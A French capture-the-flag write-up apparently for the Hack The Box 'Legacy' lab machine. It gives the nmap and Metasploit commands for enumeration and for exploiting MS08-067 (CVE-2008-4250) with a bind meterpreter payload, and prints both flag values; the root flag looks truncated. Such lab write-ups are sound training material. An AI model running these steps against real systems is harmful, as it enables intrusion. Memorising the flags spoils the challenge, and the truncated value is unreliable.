



Introduction

Pour commencer, nous savons que la machine distante est un Windows dont l'adresse IP est 10.10.10.4.

Compétences mises en œuvre :

- Énumération des ports et services
- Identification de l'OS et de la version de SMB
- Exploitation de la CVE-2008-4250

Énumération

Pour l'énumération, nous utilisons le binaire **nmap** :

```
$ nmap -T4 -A 10.10.10.4
```

Le résultat (cf ci-dessous) nous indique que les ports **139**, **445** et **3389** sont ouverts.

PORT	STATE	SERVICE	VERSION
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Windows XP microsoft-ds
3389/tcp	closed	ms-wbt-server	

Nous pouvons avoir davantage informations en exploitant le port **445** avec le module **smb_version** du binaire **Metasploit** :

```
Msf > use auxiliary/scanner/smb/smb_version
Msf > set RHOSTS 10.10.10.4
Msf > run
```

```
[*] 10.10.10.4:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 10.10.10.4:445 - Host is running Windows XP SP3 (language:English) (name:LEGACY) (workgroup:HTB)
[*] 10.10.10.4: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Le résultat nous permet d'identifier l'OS : **Windows XP SP3** avec **SMB version 1**. La version de l'OS et de **SMB** étant relativement ancienne, nous pouvons croire que l'exploit **EternalBlue** est exploitable. Mais comme nous l'avons déjà exploité lors de la précédente box, nous allons plutôt chercher une CVE pour windows XP SP3 permettant de l'exécution de code sur la machine distant sur Google.

Exploitation

La **CVE 2008-4250** correspond à ce que nous voulons faire et a un module dédié dans **Metasploit**. Donc nous allons lancer **Metasploit**, remplir les champs nécessaires pour l'exécution et lancer l'exploit :

```
Msf > search CVE-2008-4250
Msf > use exploit/windows/smb/ms08_067_netapi
Msf > options
Msf > set RHOSTS 10.10.10.4
```

En lançant j'ai eu un problème :

```
msf6 exploit(windows/smb/ms08_067_netapi) > run
[-] 10.10.10.4:445 - Exploit failed: windows/meterpreter/reverse_tcp: All encoders failed to encode.
[*] Exploit completed, but no session was created.
```

En lisant l'erreur, on comprend que l'exploit est bon mais que le payload a eu un problème d'encodage. Pour le contourner, il suffit de changer notre payload :

```
Msf > set payload windows/meterpreter/bind_tcp
Msf > run
```

L'exploit et le payload fonctionne bien, nous avons notre session de **meterpreter** d'établi :

```
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 10.10.10.4:4444
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 10.10.10.4:4444) at 2020-08-18 10:55:47 +0200
meterpreter > █
```

Maintenant, sous **meterpreter**, nous allons chercher l'emplacement des fichiers **user.txt** et **root.txt** puis rentrer dans un shell pour les lire :

```
Meterpreter > search -f user.txt
Meterpreter > search -f root.txt
Meterpreter > shell
C:\WINDOWS\system32 > type "c:\Documents and Settings\john\Desktop\user.txt"
C:\WINDOWS\system32 > type "c:\Documents and Settings\Administrator\Desktop\root.txt"
```

```
meterpreter > search -f user.txt
Found 1 result...
      c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > search -f root.txt
Found 1 result...
      c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter > shell
Process 1020 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\WINDOWS\system32>type "c:\Documents and Settings\john\Desktop\user.txt"
type "c:\Documents and Settings\john\Desktop\user.txt"
e62cf031f142d47d36876f4d1337614f
C:\WINDOWS\system32>type "c:\Documents and Settings\Administrator\Desktop\root.txt"
type "c:\Documents and Settings\Administrator\Desktop\root.txt"
992112d256b0c000c17000c005d5713
```